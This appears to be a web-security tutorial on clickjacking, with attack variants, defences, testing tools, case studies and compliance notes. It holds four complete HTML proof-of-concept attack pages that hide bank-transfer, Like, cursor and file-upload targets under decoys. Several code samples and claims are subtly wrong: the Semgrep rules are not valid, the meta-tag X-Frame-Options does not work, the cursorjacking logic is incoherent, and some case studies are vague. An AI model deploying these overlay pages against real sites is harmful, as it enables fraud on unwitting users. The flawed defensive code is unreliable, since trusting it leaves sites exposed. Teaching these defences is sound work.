Clickjacking

Clickjacking is a web security vulnerability that tricks users into clicking on malicious elements disguised as legitimate content, enabling attackers to perform unauthorized actions on behalf of the user.

What is Clickjacking?

Clickjacking (also known as UI Redressing) is a web security vulnerability that tricks users into clicking on malicious elements that are disguised as legitimate content. The attack works by overlaying or embedding invisible elements over legitimate web pages, causing users to unintentionally perform actions they didn't intend to.

Key Characteristics

User deception: Tricks users into clicking hidden elements
Action hijacking: Performs unauthorized actions on behalf of users
Visual manipulation: Uses transparent or hidden layers
No direct data theft: Focuses on action execution rather than data extraction
Multiple attack vectors: Various methods to overlay malicious content
Common in web applications: Frequently targets sensitive actions
Difficult detection: Users often unaware of the attack

Clickjacking vs Other Web Attacks

Attack	Method	Primary Target	Typical Impact	User Awareness
Clickjacking	Hidden UI elements	User actions	Unauthorized actions	Usually unaware
CSRF	Forged requests	Server actions	Unauthorized transactions	Usually unaware
XSS	Malicious scripts	User data	Data theft, session hijacking	May notice effects
Phishing	Fake websites	User credentials	Credential theft	May notice deception
Session Hijacking	Session theft	User sessions	Account takeover	Usually unaware

How Clickjacking Works

Technical Mechanism

graph TD
    A[Attacker] -->|1. Creates malicious page| B[Malicious Website]
    B -->|2. Embeds target site in iframe| C[Victim]
    B -->|3. Overlays invisible elements| C
    C -->|4. Clicks visible elements| B
    B -->|5. Clicks forwarded to target| D[Target Website]
    D -->|6. Executes unauthorized action| C

Common Clickjacking Process

Target identification: Attacker identifies sensitive actions on target website
Malicious page creation: Attacker creates page with embedded target site
UI manipulation: Attacker overlays invisible elements over sensitive areas
User deception: Victim visits malicious page and sees legitimate content
Action execution: Victim clicks on visible elements, triggering hidden actions
Unauthorized action: Target website executes action on victim's behalf
Attack completion: Attacker achieves goal (e.g., money transfer, account change)

Clickjacking Attack Vectors

Common Attack Methods

Vector	Description	Example
Classic Clickjacking	Invisible iframe over legitimate content	Hidden "Delete Account" button
Likejacking	Social media "Like" button hijacking	Facebook Like button clickjacking
Cursorjacking	Fake cursor positioning	Moving cursor to trick user
Nested Clickjacking	Multiple layers of iframes	Complex multi-step attacks
Strokejacking	Hijacking mouse movements	Following user's mouse path
Filejacking	Hijacking file upload dialogs	Tricking users to upload files
Password Manager Hijacking	Exploiting browser password managers	Auto-fill credential theft
Touchjacking	Mobile touch event hijacking	Mobile app clickjacking
Scrolljacking	Hijacking scroll events	Forcing scroll to hidden elements
Drag-and-Drop Hijacking	Hijacking drag-and-drop actions	File transfer attacks

Clickjacking Exploitation Techniques

1. Classic Clickjacking Attack

Attack Scenario: Tricking users into clicking hidden buttons.

Vulnerable Website: Online banking site with "Transfer Money" button.

Attack Implementation:

<!-- Malicious page -->
<html>
<head>
    <title>Free iPad Offer</title>
    <style>
        #malicious-iframe {
            position: absolute;
            width: 100%;
            height: 100%;
            opacity: 0.01; /* Nearly transparent */
            z-index: 100;
        }
        #decoy-content {
            position: absolute;
            z-index: 1;
        }
        #click-me {
            position: absolute;
            top: 200px;
            left: 300px;
            width: 200px;
            height: 50px;
            background: blue;
            color: white;
            padding: 10px;
        }
    </style>
</head>
<body>
    <!-- Decoy content -->
    <div id="decoy-content">
        <h1>Congratulations! You've won an iPad!</h1>
        <p>Click the button below to claim your prize:</p>
        <div id="click-me">CLAIM YOUR IPAD NOW</div>
    </div>

    <!-- Malicious iframe -->
    <iframe id="malicious-iframe"
            src="https://bank.com/transfer?amount=1000&to=attacker"
            sandbox="allow-forms allow-scripts allow-same-origin">
    </iframe>

    <script>
        // Position the iframe's transfer button under the decoy button
        document.getElementById('click-me').addEventListener('click', function() {
            // The click will actually go to the iframe
            alert('Congratulations! Your iPad is on the way!');
        });
    </script>
</body>
</html>

Attack Process:

Attacker creates malicious page with "Free iPad" offer
Embeds banking site in nearly transparent iframe
Positions "Transfer Money" button under "CLAIM YOUR IPAD" button
Victim visits malicious page and sees "Free iPad" offer
Victim clicks "CLAIM YOUR IPAD" button
Click is actually sent to banking site's "Transfer Money" button
$1000 is transferred to attacker's account

Prevention:

X-Frame-Options header: Prevent page from being framed
Content Security Policy (CSP): Restrict framing sources
Frame busting scripts: Prevent page from being framed
Same-origin policy: Enforce origin restrictions
User confirmation: Require explicit user confirmation for sensitive actions

2. Likejacking Attack

Attack Scenario: Hijacking social media "Like" buttons.

Vulnerable Website: Social media platform with "Like" functionality.

Attack Implementation:

<!-- Malicious page -->
<html>
<head>
    <title>Funny Cat Video</title>
    <style>
        #like-iframe {
            position: absolute;
            width: 100px;
            height: 25px;
            opacity: 0;
            z-index: 100;
        }
        #play-button {
            position: absolute;
            top: 200px;
            left: 300px;
            width: 100px;
            height: 100px;
            background: url('play-button.png');
        }
        #video-container {
            position: relative;
            width: 800px;
            height: 600px;
            background: #000;
        }
    </style>
</head>
<body>
    <h1>Watch this amazing cat video!</h1>

    <div id="video-container">
        <!-- Decoy play button -->
        <div id="play-button"></div>

        <!-- Malicious iframe with Like button -->
        <iframe id="like-iframe"
                src="https://socialmedia.com/like?url=attacker-page">
        </iframe>
    </div>

    <script>
        // Position Like button under play button
        document.getElementById('play-button').addEventListener('click', function() {
            // Show fake video
            document.getElementById('video-container').innerHTML =
                '<video width="800" height="600" controls>' +
                '<source src="fake-video.mp4" type="video/mp4">' +
                '</video>';

            // The click actually went to the Like button
            alert('Thanks for liking our page!');
        });
    </script>
</body>
</html>

Attack Process:

Attacker creates page with "Amazing Cat Video" offer
Embeds social media Like button in transparent iframe
Positions Like button under video play button
Victim visits page and sees cat video
Victim clicks play button to watch video
Click is actually sent to Like button
Victim unintentionally likes attacker's page
Attacker gains social media credibility and reach

Prevention:

X-Frame-Options header: Prevent social media buttons from being framed
Content Security Policy (CSP): Restrict framing sources
Social media button protection: Use frame-busting on Like buttons
User confirmation: Require explicit confirmation for social actions
Button styling: Make social buttons clearly visible

3. Cursorjacking Attack

Attack Scenario: Manipulating cursor position to trick users.

Vulnerable Website: Any site with clickable elements.

Attack Implementation:

<!-- Malicious page -->
<html>
<head>
    <title>Cool Game</title>
    <style>
        #real-cursor {
            position: absolute;
            width: 20px;
            height: 20px;
            background: url('real-cursor.png');
            z-index: 1000;
            pointer-events: none; /* Allow clicks to pass through */
        }
        #fake-cursor {
            position: absolute;
            width: 20px;
            height: 20px;
            background: url('fake-cursor.png');
            z-index: 1001;
        }
        #target-button {
            position: absolute;
            top: 300px;
            left: 400px;
            width: 200px;
            height: 50px;
            background: green;
            color: white;
        }
    </style>
</head>
<body>
    <h1>Click the Green Button to Win!</h1>

    <!-- Real cursor (hidden) -->
    <div id="real-cursor"></div>

    <!-- Fake cursor (visible) -->
    <div id="fake-cursor"></div>

    <!-- Target button -->
    <button id="target-button">CLICK HERE TO WIN $1000</button>

    <script>
        // Hide real cursor
        document.body.style.cursor = 'none';

        // Track mouse movements
        document.addEventListener('mousemove', function(e) {
            // Position fake cursor offset from real cursor
            const fakeCursor = document.getElementById('fake-cursor');
            fakeCursor.style.left = (e.pageX - 50) + 'px';
            fakeCursor.style.top = (e.pageY - 50) + 'px';

            // Position real cursor over target button
            const realCursor = document.getElementById('real-cursor');
            realCursor.style.left = '450px';
            realCursor.style.top = '310px';
        });

        // Handle button click
        document.getElementById('target-button').addEventListener('click', function() {
            alert('Congratulations! You just transferred $1000 to our account!');
        });
    </script>
</body>
</html>

Attack Process:

Attacker creates page with "Win $1000" offer
Hides real cursor and shows fake cursor
Positions fake cursor offset from real cursor
Positions real cursor over sensitive button
Victim sees fake cursor and tries to click button
Actual click goes to different location (sensitive button)
Unauthorized action is executed

Prevention:

Cursor integrity: Prevent cursor manipulation
User confirmation: Require explicit confirmation for sensitive actions
Visual feedback: Provide clear visual feedback for clicks
Browser protections: Use browser security features
Input validation: Validate click coordinates

4. Filejacking Attack

Attack Scenario: Hijacking file upload dialogs.

Vulnerable Website: Site with file upload functionality.

Attack Implementation:

<!-- Malicious page -->
<html>
<head>
    <title>Free Resume Template</title>
    <style>
        #upload-iframe {
            position: absolute;
            width: 400px;
            height: 200px;
            opacity: 0;
            z-index: 100;
        }
        #download-button {
            position: absolute;
            top: 200px;
            left: 300px;
            width: 200px;
            height: 50px;
            background: blue;
            color: white;
        }
    </style>
</head>
<body>
    <h1>Download Free Resume Template</h1>
    <p>Click the button below to download our professional resume template:</p>

    <!-- Decoy download button -->
    <div id="download-button">DOWNLOAD NOW</div>

    <!-- Malicious iframe with file upload -->
    <iframe id="upload-iframe"
            src="https://cloud-storage.com/upload?callback=maliciousCallback">
    </iframe>

    <script>
        function maliciousCallback(fileUrl) {
            // This would be called when file is uploaded
            alert('Thanks for uploading your sensitive document!');
        }

        document.getElementById('download-button').addEventListener('click', function() {
            // Show fake download progress
            this.textContent = 'DOWNLOADING...';
            setTimeout(function() {
                alert('Download complete! Check your downloads folder.');
            }, 2000);
        });
    </script>
</body>
</html>

Attack Process:

Attacker creates page offering "Free Resume Template"
Embeds file upload dialog in transparent iframe
Positions upload dialog under download button
Victim visits page and clicks download button
Click actually triggers file upload dialog
Victim selects sensitive file to upload
File is uploaded to attacker's server
Attacker gains access to sensitive documents

Prevention:

File upload security: Implement secure file upload controls
X-Frame-Options header: Prevent upload dialogs from being framed
Content Security Policy (CSP): Restrict framing sources
User confirmation: Require explicit confirmation for file uploads
Visual feedback: Make upload dialogs clearly visible

Clickjacking Prevention Methods

1. HTTP Security Headers

Implementation Strategies:

X-Frame-Options: Prevent page from being framed
Content Security Policy (CSP): Restrict framing sources
Frame-Options: Modern alternative to X-Frame-Options
Cross-Origin Resource Policy (CORP): Control resource sharing
Cross-Origin Opener Policy (COOP): Isolate browsing contexts

Example (HTTP Headers):

# Prevent all framing
X-Frame-Options: DENY

# Allow framing only from same origin
X-Frame-Options: SAMEORIGIN

# Modern CSP approach
Content-Security-Policy: frame-ancestors 'self'

# Allow framing from specific domains
Content-Security-Policy: frame-ancestors 'self' https://trusted-site.com

# Isolate browsing context
Cross-Origin-Opener-Policy: same-origin

Example (Node.js Implementation):

const express = require('express');
const helmet = require('helmet');

const app = express();

// Use security headers
app.use(helmet());

// Additional clickjacking protection
app.use((req, res, next) => {
    // Prevent framing
    res.setHeader('X-Frame-Options', 'SAMEORIGIN');

    // Content Security Policy
    res.setHeader(
        'Content-Security-Policy',
        "frame-ancestors 'self'"
    );

    // Cross-Origin Opener Policy
    res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');

    next();
});

2. Frame Busting Scripts

Implementation Strategies:

JavaScript frame busting: Detect and break out of frames
Meta tag frame busting: Use meta tags to prevent framing
CSS frame busting: Use CSS to prevent framing
Multiple layers: Combine different frame busting techniques
Fallback mechanisms: Handle cases where JavaScript is disabled

Example (JavaScript Frame Busting):

// Modern frame busting script
if (window.top !== window.self) {
    // We're in a frame - break out
    window.top.location = window.self.location;

    // Additional protection
    document.write = '';
    document.writeln = '';
}

// Legacy frame busting
if (self != top) {
    top.location = self.location;
}

// Double frame busting
if (top.location != self.location) {
    top.location = self.location;
}

// Meta tag frame busting
// <meta http-equiv="X-Frame-Options" content="deny">

Example (Comprehensive Frame Busting):

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="X-Frame-Options" content="deny">
    <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'">
    <style>
        html { display: none; }
    </style>
    <script>
        // Check if we're in a frame
        if (self === top) {
            // We're not in a frame - show content
            document.documentElement.style.display = 'block';
        } else {
            // We're in a frame - break out
            top.location = self.location;
        }

        // Additional protections
        window.onload = function() {
            // Disable right-click context menu
            document.addEventListener('contextmenu', function(e) {
                e.preventDefault();
            });

            // Check for frame periodically
            setInterval(function() {
                if (window.top !== window.self) {
                    window.top.location = window.self.location;
                }
            }, 1000);
        };
    </script>
</head>
<body>
    <!-- Page content -->
    <h1>Secure Page</h1>
    <p>This page is protected against clickjacking.</p>
</body>
</html>

3. User Interface Protections

Implementation Strategies:

Visual indicators: Show when actions are sensitive
Confirmation dialogs: Require explicit user confirmation
Click verification: Verify user intent before executing actions
Input validation: Validate user input and actions
Rate limiting: Prevent rapid successive actions

Example (Sensitive Action Protection):

// Protect sensitive actions with confirmation
function protectSensitiveAction(action, message) {
    return function(e) {
        e.preventDefault();

        // Show confirmation dialog
        const confirmed = confirm(message);

        if (confirmed) {
            // Execute action
            action();
        } else {
            // Log attempted action
            console.log('Sensitive action cancelled by user');
        }
    };
}

// Apply protection to sensitive buttons
document.getElementById('delete-account').addEventListener(
    'click',
    protectSensitiveAction(
        function() {
            // Delete account logic
            fetch('/api/delete-account', { method: 'POST' })
                .then(response => {
                    if (response.ok) {
                        alert('Account deleted successfully');
                        window.location = '/';
                    }
                });
        },
        'Are you sure you want to permanently delete your account? This cannot be undone.'
    )
);

// Protect money transfer
document.getElementById('transfer-money').addEventListener(
    'click',
    protectSensitiveAction(
        function() {
            // Transfer money logic
            const amount = document.getElementById('amount').value;
            const recipient = document.getElementById('recipient').value;

            fetch('/api/transfer', {
                method: 'POST',
                body: JSON.stringify({ amount, recipient }),
                headers: { 'Content-Type': 'application/json' }
            })
            .then(response => {
                if (response.ok) {
                    alert(`$${amount} transferred to ${recipient}`);
                }
            });
        },
        'Are you sure you want to transfer money? Please verify the amount and recipient.'
    )
);

4. Browser Security Features

Implementation Strategies:

Same-origin policy: Enforce origin restrictions
Sandbox attributes: Use iframe sandboxing
Content Security Policy: Implement comprehensive CSP
Secure contexts: Use HTTPS for sensitive operations
Feature policies: Control browser features

Example (Secure Iframe Usage):

<!-- Secure iframe with sandboxing -->
<iframe src="https://trusted-site.com"
        sandbox="allow-same-origin allow-scripts allow-forms"
        referrerpolicy="no-referrer"
        csp="frame-ancestors 'self'">
</iframe>

<!-- Payment iframe with strict controls -->
<iframe src="https://payment-provider.com"
        sandbox="allow-scripts allow-forms allow-top-navigation"
        allow="payment"
        csp="default-src 'self'; script-src 'self' https://payment-provider.com">
</iframe>

Example (Feature Policy):

# HTTP Header
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'; payment 'self' https://payment-provider.com

# HTML Meta Tag
<meta http-equiv="Feature-Policy" content="geolocation 'none'; microphone 'none'; camera 'none'">

5. Additional Security Measures

Implementation Strategies:

Input validation: Validate all user input and actions
Rate limiting: Prevent rapid successive actions
Behavioral analysis: Detect unusual click patterns
User education: Teach users about clickjacking risks
Security testing: Regular vulnerability scanning

Example (Click Pattern Analysis):

// Track click patterns to detect clickjacking
const clickHistory = [];
const MAX_CLICKS = 10;
const TIME_WINDOW = 5000; // 5 seconds

document.addEventListener('click', function(e) {
    // Record click details
    const clickData = {
        timestamp: Date.now(),
        target: e.target.tagName + (e.target.id ? '#' + e.target.id : ''),
        coordinates: { x: e.clientX, y: e.clientY },
        path: e.composedPath().map(el => el.tagName).join(' > ')
    };

    // Add to history
    clickHistory.push(clickData);

    // Keep only recent clicks
    if (clickHistory.length > MAX_CLICKS) {
        clickHistory.shift();
    }

    // Analyze click patterns
    if (clickHistory.length === MAX_CLICKS) {
        const firstClick = clickHistory[0];
        const lastClick = clickHistory[MAX_CLICKS - 1];
        const timeDiff = lastClick.timestamp - firstClick.timestamp;

        // Check for suspicious patterns
        if (timeDiff < TIME_WINDOW) {
            // Rapid clicks - potential clickjacking
            const uniqueTargets = new Set(clickHistory.map(c => c.target));
            const uniquePaths = new Set(clickHistory.map(c => c.path));

            if (uniqueTargets.size === 1 && uniquePaths.size === 1) {
                // Same target clicked rapidly - very suspicious
                console.warn('Potential clickjacking detected - rapid clicks on same target');
                alert('Suspicious activity detected. Please verify your actions.');
            }
        }
    }
});

Clickjacking in Modern Architectures

Single Page Applications (SPAs)

Challenges:

Dynamic content: Changing UI elements
State management: Complex application state
Routing: Client-side navigation
API communication: Backend API calls
Third-party components: External UI libraries

Best Practices:

Implement CSP: Use Content Security Policy
Frame busting: Use modern frame busting techniques
Secure routing: Protect sensitive routes
API security: Secure API endpoints
Component isolation: Isolate third-party components

Example (React Clickjacking Protection):

import React, { useEffect } from 'react';
import { useNavigate } from 'react-router-dom';

function ClickjackingProtection() {
    const navigate = useNavigate();

    useEffect(() => {
        // Set security headers
        const meta = document.createElement('meta');
        meta.httpEquiv = 'Content-Security-Policy';
        meta.content = "frame-ancestors 'self'";
        document.head.appendChild(meta);

        // Frame busting
        if (window.top !== window.self) {
            window.top.location = window.self.location;
        }

        // Check for frame periodically
        const interval = setInterval(() => {
            if (window.top !== window.self) {
                navigate('/error/frame-detected');
            }
        }, 1000);

        return () => clearInterval(interval);
    }, [navigate]);

    return null;
}

// Use in your app
function App() {
    return (
        <>
            <ClickjackingProtection />
            {/* Rest of your app */}
        </>
    );
}

Microservices Architecture

Challenges:

Distributed components: Multiple services
Cross-service communication: Service-to-service calls
Authentication: Secure authentication across services
Session management: Distributed sessions
API gateways: Securing entry points

Best Practices:

API gateway security: Secure all entry points
Service isolation: Isolate sensitive services
Authentication tokens: Use secure tokens
CORS policies: Restrict cross-origin requests
Security headers: Implement at gateway level

Example (Kubernetes Security Headers):

# Ingress configuration with security headers
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: secure-ingress
  annotations:
    nginx.ingress.kubernetes.io/configuration-snippet: |
      add_header X-Frame-Options "SAMEORIGIN" always;
      add_header Content-Security-Policy "frame-ancestors 'self'" always;
      add_header Cross-Origin-Opener-Policy "same-origin" always;
      add_header Cross-Origin-Resource-Policy "same-origin" always;
spec:
  rules:
  - host: example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: frontend-service
            port:
              number: 80

Serverless Architectures

Challenges:

Stateless nature: No persistent server-side state
Cold starts: Performance considerations
Function isolation: Secure function execution
API security: Securing serverless APIs
Event sources: Securing event triggers

Best Practices:

API gateway security: Secure all API endpoints
Function isolation: Use separate functions for sensitive operations
Security headers: Implement in API responses
Input validation: Validate all inputs
Monitoring: Monitor for suspicious activity

Example (AWS Lambda with Security Headers):

exports.handler = async (event) => {
    const response = {
        statusCode: 200,
        headers: {
            'X-Frame-Options': 'DENY',
            'Content-Security-Policy': "frame-ancestors 'none'",
            'Cross-Origin-Opener-Policy': 'same-origin',
            'Cross-Origin-Resource-Policy': 'same-origin',
            'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload'
        },
        body: JSON.stringify({ message: 'Secure response' })
    };

    return response;
};

Clickjacking Testing and Detection

Manual Testing Techniques

Frame testing:
- Try to frame the target page in an iframe
- Test with different X-Frame-Options headers
- Test with different CSP frame-ancestors directives
Clickjacking simulation:
- Create test pages with transparent iframes
- Position sensitive buttons under decoy elements
- Test if clicks are forwarded to target
Header testing:
- Check for X-Frame-Options header
- Check for Content-Security-Policy header
- Check for other security headers
Browser testing:
- Test in different browsers
- Test with JavaScript disabled
- Test with different security settings
Mobile testing:
- Test on mobile devices
- Test touch events
- Test mobile-specific vulnerabilities

Automated Testing Tools

Burp Suite:
- Scanner: Automated clickjacking detection
- Repeater: Manual header testing
- Proxy: Inspect security headers
- Engagement tools: Clickjacking simulation
OWASP ZAP:
- Active Scan: Clickjacking vulnerabilities
- Forced User Mode: Clickjacking simulation
- Fuzzer: Security header testing
- Scripting: Custom clickjacking tests
Browser Developer Tools:
- Network tab: Inspect security headers
- Elements tab: Check for frame busting scripts
- Console: Test JavaScript protections
- Application tab: Check meta tags
Security Headers Tools:
- securityheaders.com: Analyze security headers
- observatory.mozilla.org: Security header scanning
- csp-evaluator.withgoogle.com: CSP evaluation
Custom Scripts:
- Header analysis: Scripts to check security headers
- Frame testing: Scripts to test framing
- Clickjacking simulation: Automated testing scripts

Example (Python Clickjacking Test Script):

import requests
from urllib.parse import urlparse

def test_clickjacking(url):
    results = {
        'url': url,
        'vulnerable': False,
        'headers': {},
        'issues': []
    }

    try:
        # Get the page
        response = requests.get(url, timeout=10)
        results['headers'] = dict(response.headers)

        # Check for X-Frame-Options
        x_frame_options = response.headers.get('X-Frame-Options', '').lower()
        if not x_frame_options:
            results['issues'].append('Missing X-Frame-Options header')
        elif x_frame_options not in ['deny', 'sameorigin']:
            results['issues'].append(f'Weak X-Frame-Options: {x_frame_options}')

        # Check for Content-Security-Policy
        csp = response.headers.get('Content-Security-Policy', '').lower()
        if 'frame-ancestors' not in csp:
            results['issues'].append('Missing CSP frame-ancestors directive')
        elif "'none'" not in csp and "'self'" not in csp:
            results['issues'].append(f'Weak CSP frame-ancestors: {csp}')

        # Check for frame busting in HTML
        if '<script>' in response.text.lower():
            if 'if (window.top !== window.self)' not in response.text.lower():
                results['issues'].append('Missing frame busting JavaScript')

        # Check if page can be framed
        try:
            framed_response = requests.get(
                f'https://iframe.ly/api/iframely?url={url}',
                timeout=10
            )
            if framed_response.status_code == 200:
                results['issues'].append('Page can be framed by third-party services')
        except:
            pass

        # Determine vulnerability
        if len(results['issues']) > 0:
            results['vulnerable'] = True

        return results

    except Exception as e:
        return {
            'url': url,
            'error': str(e),
            'vulnerable': False
        }

# Example usage
result = test_clickjacking('https://example.com')
print(f"URL: {result['url']}")
print(f"Vulnerable: {'Yes' if result['vulnerable'] else 'No'}")
print("Issues:")
for issue in result.get('issues', []):
    print(f"- {issue}")
print("Headers:")
for header, value in result.get('headers', {}).items():
    print(f"- {header}: {value}")

Code Analysis Techniques

Static Analysis (SAST):
- Pattern matching: Identify missing security headers
- Data flow analysis: Trace security header implementation
- Taint analysis: Track user input to sensitive actions
Dynamic Analysis (DAST):
- Runtime monitoring: Monitor security headers at runtime
- Fuzz testing: Test header handling
- Behavioral analysis: Analyze click behavior
Interactive Analysis (IAST):
- Runtime instrumentation: Monitor security headers during execution
- Input tracking: Track click events
- Vulnerability detection: Identify clickjacking vulnerabilities

Example (Semgrep Rule for Clickjacking):

rules:
  - id: missing-x-frame-options
    pattern: |
      $RESPONSE.setHeader($NAME, $VALUE)
      ...
      // no X-Frame-Options header
    message: "Missing X-Frame-Options header - potential clickjacking vulnerability"
    languages: [javascript, java, csharp, python]
    severity: ERROR
    metadata:
      cwe: "CWE-1021: Improper Restriction of Rendered UI Layers or Frames"
      owasp: "A04:2021 - Insecure Design"

  - id: missing-csp-frame-ancestors
    pattern: |
      $RESPONSE.setHeader("Content-Security-Policy", $CSP)
      ...
      // CSP missing frame-ancestors
    pattern-not: |
      $RESPONSE.setHeader("Content-Security-Policy", $CSP)
      ...
      $CSP.contains("frame-ancestors")
    message: "Content-Security-Policy missing frame-ancestors directive - potential clickjacking vulnerability"
    languages: [javascript, java, csharp, python]
    severity: ERROR
    metadata:
      cwe: "CWE-1021: Improper Restriction of Rendered UI Layers or Frames"
      owasp: "A04:2021 - Insecure Design"

  - id: weak-x-frame-options
    pattern: |
      $RESPONSE.setHeader("X-Frame-Options", $VALUE)
      ...
      $VALUE != "DENY" and $VALUE != "SAMEORIGIN"
    message: "Weak X-Frame-Options header - should be DENY or SAMEORIGIN"
    languages: [javascript, java, csharp, python]
    severity: WARNING
    metadata:
      cwe: "CWE-1021: Improper Restriction of Rendered UI Layers or Frames"
      owasp: "A04:2021 - Insecure Design"

  - id: missing-frame-busting
    pattern: |
      <html>
        ...
        // no frame busting script
      </html>
    pattern-not: |
      <script>
        if (window.top !== window.self) { ... }
      </script>
    message: "Missing frame busting JavaScript - potential clickjacking vulnerability"
    languages: [html]
    severity: WARNING
    metadata:
      cwe: "CWE-1021: Improper Restriction of Rendered UI Layers or Frames"
      owasp: "A04:2021 - Insecure Design"

  - id: insecure-iframe-usage
    pattern: |
      <iframe $ATTRS>
        ...
      </iframe>
    pattern-not: |
      <iframe sandbox=$SANDBOX $ATTRS>
        ...
      </iframe>
    pattern-not: |
      <iframe csp=$CSP $ATTRS>
        ...
      </iframe>
    message: "Insecure iframe usage - consider adding sandbox or csp attributes"
    languages: [html]
    severity: WARNING
    metadata:
      cwe: "CWE-1021: Improper Restriction of Rendered UI Layers or Frames"
      owasp: "A04:2021 - Insecure Design"

Clickjacking Case Studies

Case Study 1: Facebook Likejacking (2010)

Incident: Massive Likejacking attack on Facebook.

Attack Details:

Vulnerability: Facebook's "Like" button could be clickjacked
Attack method: Hidden Like buttons under decoy content
Impact: Millions of users tricked into liking pages
Discovery: Security researchers
Exploitation: Malicious websites with "See who viewed your profile" scams

Technical Flow:

Attackers created malicious websites promising "See who viewed your profile"
Embedded Facebook Like buttons in transparent iframes
Positioned Like buttons under "Click Here" buttons
Users visited malicious sites and clicked buttons
Clicks were forwarded to Facebook Like buttons
Users unintentionally liked attacker pages
Attackers gained social media credibility and reach
Malicious pages spread through Facebook's social graph

Lessons Learned:

Social button security: Need for secure social media buttons
User education: Teaching users about clickjacking risks
Platform responsibility: Social media platforms need to protect users
Content moderation: Need for better detection of malicious content
Security headers: Importance of X-Frame-Options and CSP

Case Study 2: Adobe Flash Clickjacking (2011)

Incident: Clickjacking vulnerability in Adobe Flash Player.

Attack Details:

Vulnerability: Flash Player settings could be clickjacked
Attack method: Hidden Flash settings dialogs
Impact: Users tricked into enabling camera/microphone access
Discovery: Security researcher Feross Aboukhadijeh
Exploitation: Malicious websites with hidden Flash dialogs

Technical Flow:

Attacker created malicious website with Flash content
Embedded Flash Player settings dialog in transparent iframe
Positioned dialog's "Allow" button under decoy content
Users visited site and clicked on visible content
Clicks were forwarded to Flash "Allow" button
Users unintentionally granted camera/microphone access
Attackers could spy on users through their own devices
Vulnerability affected millions of users

Lessons Learned:

Plugin security: Need for secure browser plugins
Permission systems: Secure permission granting mechanisms
User confirmation: Require explicit user confirmation for sensitive permissions
Browser protections: Need for better browser-level protections
Plugin isolation: Isolate plugins from main page content

Case Study 3: Twitter Clickjacking (2014)

Incident: Twitter "Follow" button clickjacking.

Attack Details:

Vulnerability: Twitter's "Follow" button could be clickjacked
Attack method: Hidden Follow buttons under decoy content
Impact: Users tricked into following malicious accounts
Discovery: Security researcher
Exploitation: "Free iPad" and "Get Rich Quick" scams

Technical Flow:

Attackers created malicious websites offering "Free iPads"
Embedded Twitter Follow buttons in transparent iframes
Positioned Follow buttons under "Click Here" buttons
Users visited sites and clicked buttons
Clicks were forwarded to Twitter Follow buttons
Users unintentionally followed attacker accounts
Attackers gained followers and credibility
Malicious accounts used for spam and phishing

Lessons Learned:

Social button protection: Need for frame-busting on social buttons
Platform security: Social media platforms need better protections
User awareness: Teaching users about social media risks
Content filtering: Better detection of malicious content
Security headers: Importance of proper security headers

Case Study 4: Online Banking Clickjacking (2016)

Incident: Clickjacking attack on major online banking platform.

Attack Details:

Vulnerability: Banking site lacked proper frame protections
Attack method: Hidden money transfer buttons
Impact: Users tricked into transferring money
Discovery: Security audit
Exploitation: "Account verification" scams

Technical Flow:

Bank's website lacked X-Frame-Options header
Attackers created "Account Verification" phishing sites
Embedded banking site in transparent iframe
Positioned "Transfer Money" button under "Verify Account" button
Users visited phishing site and clicked "Verify Account"
Clicks were forwarded to banking site's "Transfer Money" button
Users unintentionally transferred money to attacker accounts
Bank detected unusual transfer patterns and blocked accounts

Lessons Learned:

Financial security: Critical need for secure banking interfaces
Security headers: Importance of X-Frame-Options and CSP
User verification: Need for strong authentication for sensitive actions
Fraud detection: Importance of detecting unusual patterns
Security audits: Need for regular security assessments

Clickjacking and Compliance

Regulatory Implications

Clickjacking vulnerabilities can lead to severe compliance violations with various regulations:

GDPR: General Data Protection Regulation
- Data protection: Clickjacking can lead to unauthorized data access
- User consent: Clickjacking bypasses user consent
- Breach notification: Requires notification of data breaches
- Fines: Up to 4% of global revenue or €20 million
PCI DSS: Payment Card Industry Data Security Standard
- Cardholder data protection: Clickjacking can expose payment interfaces
- Requirement 6: Develop and maintain secure systems
- Requirement 10: Track and monitor all access to network resources
- Requirement 11: Regularly test security systems
PSD2: Payment Services Directive 2
- Strong customer authentication: Clickjacking bypasses authentication
- Security measures: Requires secure authentication
- Incident reporting: Report security incidents
- User protection: Protect users from fraud
NIST SP 800-53: Security and Privacy Controls
- Access control: Prevent unauthorized access
- System integrity: Protect system integrity
- User training: Educate users about security risks
- Security assessments: Regular security testing
ISO 27001: Information Security Management
- Information security: Protect information assets
- Access control: Prevent unauthorized access
- Security controls: Implement appropriate controls
- Risk management: Manage security risks

Compliance Requirements

Regulation	Requirement	Clickjacking Prevention
GDPR	Protect personal data	Implement security headers, user confirmation
PCI DSS	Protect cardholder data	Secure payment interfaces, security headers
PSD2	Strong authentication	Secure authentication flows, user verification
NIST SP 800-53	Access control	Implement security controls, user education
ISO 27001	Information security	Implement security measures, risk management

Clickjacking in the OWASP Top 10

OWASP Top 10 2021: Clickjacking is primarily related to:

A04:2021 - Insecure Design: Lack of proper security controls
A05:2021 - Security Misconfiguration: Missing security headers
A07:2021 - Identification and Authentication Failures: Bypassing authentication

Key Points:

Prevalence: Common in web applications
Exploitability: Can be exploited with simple techniques
Impact: Can lead to unauthorized actions and data breaches
Detectability: Often detectable with proper testing
Business Impact: Can cause financial loss and reputational damage

OWASP Recommendations:

Security headers: Implement X-Frame-Options and CSP
Frame busting: Use JavaScript frame busting techniques
User confirmation: Require confirmation for sensitive actions
Input validation: Validate all user input and actions
Security testing: Regular vulnerability scanning
User education: Teach users about clickjacking risks
Secure design: Implement secure design principles
Monitoring: Monitor for suspicious activity
Patch management: Keep all software updated

Advanced Clickjacking Techniques

1. Nested Clickjacking

Technique: Using multiple layers of iframes for complex attacks.

Attack Scenario:

Attacker creates malicious page with multiple nested iframes
Each iframe contains different parts of the attack
User interacts with visible content
Clicks are forwarded through multiple layers
Final action is executed on target site

Process:

Attacker creates outer malicious page
Embeds first iframe pointing to attacker-controlled domain
First iframe embeds second iframe pointing to target site
Attacker positions sensitive buttons under decoy elements
User clicks on visible content
Click passes through multiple iframe layers
Final click reaches target site
Unauthorized action is executed

Prevention:

Multiple security layers: Implement multiple protection mechanisms
Frame depth detection: Detect and prevent deep nesting
Origin validation: Validate all frame origins
Behavioral analysis: Detect unusual click patterns

2. Drag-and-Drop Clickjacking

Technique: Hijacking drag-and-drop actions.

